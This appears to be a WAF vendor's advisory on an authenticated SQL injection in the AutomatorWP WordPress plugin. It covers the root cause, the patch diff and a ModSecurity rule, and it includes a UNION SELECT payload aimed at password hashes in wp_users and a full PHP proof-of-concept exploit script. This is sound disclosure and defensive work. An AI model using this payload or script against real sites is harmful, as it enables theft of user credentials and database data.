Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-141516: This is an authenticated SQL injection vulnerability in the AutomatorWP plugin for WordPress, affecting versions up to and including 6.1.3. The flaw resides in the Fluent Support integration, specifically in the trigger handler that fires when an agent opens a ticket. A Subscriber-level user can store a malicious payload in their WordPress user email and then trigger the injection, leading to the extraction of sensitive database information. Atomic Edge rates the severity as CVSS 6.5 (Medium), consistent with the requirement for authentication and specific plugin configurations.
Root Cause: The vulnerable code is in the file automatorwp/integrations/fluent-support/includes/triggers/agent-open-ticket.php, around line 59. The trigger function retrieves the current user object and then directly interpolates the user’s email into a SQL query without proper escaping or preparation. The original line reads: $agent = $wpdb->get_row( “SELECT * FROM {$wpdb->prefix}fs_persons WHERE email='{$user->user_email}'” );. Because $user->user_email is user-controlled (via the WordPress REST API, a Subscriber can set their email to any value within allowed constraints), an attacker can inject SQL metacharacters (e.g., a single quote) to break out of the string literal and append arbitrary SQL. The query is executed by $wpdb->get_row, and the lack of $wpdb->prepare or esc_sql allows the injection. The trigger only fires if the Fluent Support plugin is active with the customer portal enabled and an AutomatorWP automation is configured to listen for the ‘Agent opens a ticket’ trigger.
Exploitation: An attacker with Subscriber-level access first updates their email address to a malicious payload using the WordPress REST API. The standard endpoint is /wp-json/wp/v2/users/me, and the attacker sends a POST request with the email parameter set to a value like: test@example.com’ UNION SELECT user_login, user_pass, 1,1,1,1,1 FROM wp_users– – (payload must be crafted to match the column count of the fs_persons table). They must also include a valid nonce or use cookie authentication. After the email is stored, the attacker visits the Fluent Support customer portal page and opens a new support ticket. This action triggers the AutomatorWP automation, which executes the vulnerable SQL query using the stored email. The injected query executes, and its results are used in the trigger’s logic. The attacker can then observe side effects (e.g., timing, errors, or conditional responses) to exfiltrate data.
Patch Analysis: The patch in version 6.1.4 replaces the direct interpolation with a prepared statement. The vulnerable line is replaced with: $agent = $wpdb->get_row( $wpdb->prepare( “SELECT * FROM {$wpdb->prefix}fs_persons WHERE email = %s”, $user->user_email ) );. This ensures that the email value is properly escaped and quoted as a string, preventing SQL injection. The patch also includes other unrelated changes (escaping in dashboard.php, fixing action hooks in custom tables), but the critical fix is the use of $wpdb->prepare. After the patch, any SQL metacharacters in the email are neutralized.
Impact: Successful exploitation allows an authenticated attacker with minimal privileges (Subscriber) to execute arbitrary SQL queries against the WordPress database. This can lead to the disclosure of sensitive information, including user credentials (password hashes), personal data, and potentially data from other plugins or WordPress core. In some configurations, the attacker might escalate privileges by creating new admin accounts or modifying data. However, the vulnerability requires specific conditions (Fluent Support with customer portal, AutomatorWP automation configured), which limits its scope but does not diminish the severity for affected sites.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/automatorwp/automatorwp.php
+++ b/automatorwp/automatorwp.php
@@ -3,7 +3,7 @@
* Plugin Name: AutomatorWP
* Plugin URI: https://automatorwp.com
* Description: Connect your WordPress plugins together and create automated workflows with no code!
- * Version: 6.1.3
+ * Version: 6.1.4
* Author: AutomatorWP
* Author URI: https://automatorwp.com/
* Text Domain: automatorwp
@@ -119,7 +119,7 @@
private function constants() {
// Plugin version
- define( 'AUTOMATORWP_VER', '6.1.3' );
+ define( 'AUTOMATORWP_VER', '6.1.4' );
// Plugin file
define( 'AUTOMATORWP_FILE', __FILE__ );
--- a/automatorwp/includes/admin/pages/dashboard.php
+++ b/automatorwp/includes/admin/pages/dashboard.php
@@ -509,7 +509,8 @@
$log_icon = ob_get_clean();
$log_title = ! empty( $log->title ) ? $log->title : __( '(No title)', 'automatorwp' );
- $log_title = '<strong><a href="' . ct_get_edit_link( 'automatorwp_logs', $log->id ) . '">' . $log_title . '</a></strong>';
+ $log_title = '<strong><a href="' . esc_url( ct_get_edit_link( 'automatorwp_logs', $log->id ) ) . '">' . esc_html( $log_title ) . '</a></strong>';
+ $log_title = wp_kses_post( $log_title );
$types = automatorwp_get_log_types();
$type = isset( $types[$log->type] ) ? $types[$log->type] : $log->type;
--- a/automatorwp/includes/custom-tables/actions.php
+++ b/automatorwp/includes/custom-tables/actions.php
@@ -88,4 +88,4 @@
$wpdb->query( "DELETE lm FROM {$logs_meta} lm LEFT JOIN {$logs} l ON l.id = lm.id WHERE l.id IS NULL" );
}
-add_action( 'delete_object', 'automatorwp_actions_delete_object' );
No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_actions_delete_object' );
No newline at end of file
--- a/automatorwp/includes/custom-tables/automations.php
+++ b/automatorwp/includes/custom-tables/automations.php
@@ -1097,4 +1097,4 @@
}
}
-add_action( 'delete_object', 'automatorwp_automations_delete_object' );
No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_automations_delete_object' );
No newline at end of file
--- a/automatorwp/includes/custom-tables/triggers.php
+++ b/automatorwp/includes/custom-tables/triggers.php
@@ -88,4 +88,4 @@
$wpdb->query( "DELETE lm FROM {$logs_meta} lm LEFT JOIN {$logs} l ON l.id = lm.id WHERE l.id IS NULL" );
}
-add_action( 'delete_object', 'automatorwp_triggers_delete_object' );
No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_triggers_delete_object' );
No newline at end of file
--- a/automatorwp/integrations/fluent-support/includes/triggers/agent-open-ticket.php
+++ b/automatorwp/integrations/fluent-support/includes/triggers/agent-open-ticket.php
@@ -56,7 +56,10 @@
$ticket_id = absint( $ticket['id'] );
$user = wp_get_current_user();
- $agent = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}fs_persons WHERE email='{$user->user_email}'" );
+ $agent = $wpdb->get_row( $wpdb->prepare(
+ "SELECT * FROM {$wpdb->prefix}fs_persons WHERE email = %s",
+ $user->user_email
+ ) );
// Bail if agent not found
if( ! $agent ) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-141516
# Blocks SQL injection attempts via the user_email parameter in the WordPress REST API users/me endpoint.
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/users/me$"
"id:141516,phase:2,deny,status:403,chain,msg:'CVE-2026-141516 SQL Injection via user_email',severity:'CRITICAL',tag:'CVE-2026-141516'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:email "@detectSQLi" "t:urlDecodeUni,t:removeNulls,t:trim"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-141516 - AutomatorWP <= 6.1.3 - Authenticated (Subscriber+) SQL Injection via 'user_email' Parameter
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password
$payload_email = "test@example.com' UNION SELECT user_login, user_pass, 1,1,1,1,1 FROM wp_users-- -"; // Adjust column count to match fs_persons table
// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Get REST API nonce (if required)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce = curl_exec($ch);
curl_close($ch);
// Step 3: Update user email via REST API
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/users/me');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['email' => $payload_email]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// Step 4: Trigger the vulnerable code by opening a support ticket
// This requires the Fluent Support customer portal URL, typically /support-portal/ or similar
$portal_url = $target_url . '/support-portal/'; // Adjust based on configuration
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $portal_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'subject' => 'Test Ticket',
'message' => 'This is a test ticket to trigger the vulnerability.',
'action' => 'create_ticket' // Adjust based on Fluent Support form
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// The SQL injection is executed. Data exfiltration would require blind techniques or error-based observation.
echo "PoC executed. Check for injection effects.n";
?>